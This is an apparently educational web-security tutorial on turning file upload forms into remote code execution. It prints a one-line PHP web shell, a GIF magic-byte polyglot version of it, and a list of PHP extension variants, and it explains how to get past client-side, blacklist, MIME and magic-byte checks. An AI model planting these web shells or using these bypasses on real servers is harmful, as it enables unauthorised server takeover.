File Upload Attacks
Upload to RCE

person 0x74shelby category Web Security · Intermediate
screenshot_monitor

01

Why File Uploads Break

Every modern web application lets users upload something. Profile pictures, documents, attachments. The feature is necessary, but validating what kind of file was actually uploaded is harder than it looks. Developers often think they've restricted uploads to images but an attacker can get a PHP file through with minimal effort.

The worst case is no validation at all. You upload a PHP web shell directly, navigate to where it got saved, and send it a command parameter. Five minutes from file upload form to interactive shell. I've seen this on real engagements more than I'd like to admit.

Minimal Web Shell

The smallest useful PHP web shell is one line:

<?php system($_REQUEST['cmd']); ?>
02

Bypassing Client-Side Checks

Client-side validation is the easiest to bypass. It runs in your browser, so you control it. If a file upload form uses JavaScript to check the extension before submitting, you can either disable JavaScript, intercept the request in a proxy after submission, or modify the file extension in the browser before the check runs.

The standard approach is to rename your shell to shell.jpg, let the client-side check pass, then intercept the HTTP request and rename it back to shell.php before it reaches the server. If the server has no additional validation, you're done.

03

Bypassing Extension Blacklists

When the server blocks specific extensions, the first thing to try is uncommon PHP extensions that Apache or Nginx might still execute. PHP has many recognised extensions beyond .php.

php extension variants
shell.phtml
shell.pHp
shell.php5
shell.php7
shell.phar
shell.phps

Case manipulation works when the blacklist is case-sensitive but the file system or web server handler isn't. Uploading shell.pHp passes the blacklist check but still executes as PHP.

Double extensions sometimes work if the server extracts the wrong extension. shell.jpg.php might pass a filter that looks at the first extension and still execute as PHP if Apache is configured to pass files with multiple extensions through the PHP handler.

04

Bypassing MIME and Magic Byte Checks

MIME type validation checks the Content-Type header in the upload request. Since you control the request, you just change the header. In an intercepted upload request, change Content-Type: application/x-php to Content-Type: image/jpeg and the check passes.

Magic byte validation reads the actual bytes at the start of the file and compares them to known file signatures. JPEG files start with FF D8 FF. PNG files start with 89 50 4E 47. To bypass this, prepend the expected magic bytes to your PHP payload.

magic byte bypass
GIF89a;<?php system($_REQUEST['cmd']); ?>

The GIF magic bytes at the start satisfy the file type check. The PHP parser doesn't care about the GIF header because it's looking for opening <?php tags, not file structure. Both validators pass and the file still executes as PHP.

05

Finding the Uploaded File

Uploading the shell is only half the battle. You also need to know where it landed on the server. Applications often reveal this by including the upload path in the response, or by having a predictable pattern like /uploads/[filename]. If the path isn't obvious, fuzzing common upload directories is the next step.

Execution Requirement

Even if you upload a PHP file successfully, it only executes if the server processes it through the PHP handler. Files stored outside the web root or in directories configured to serve static content won't execute. Finding a path in a web-accessible directory with PHP execution enabled is what makes this attack work.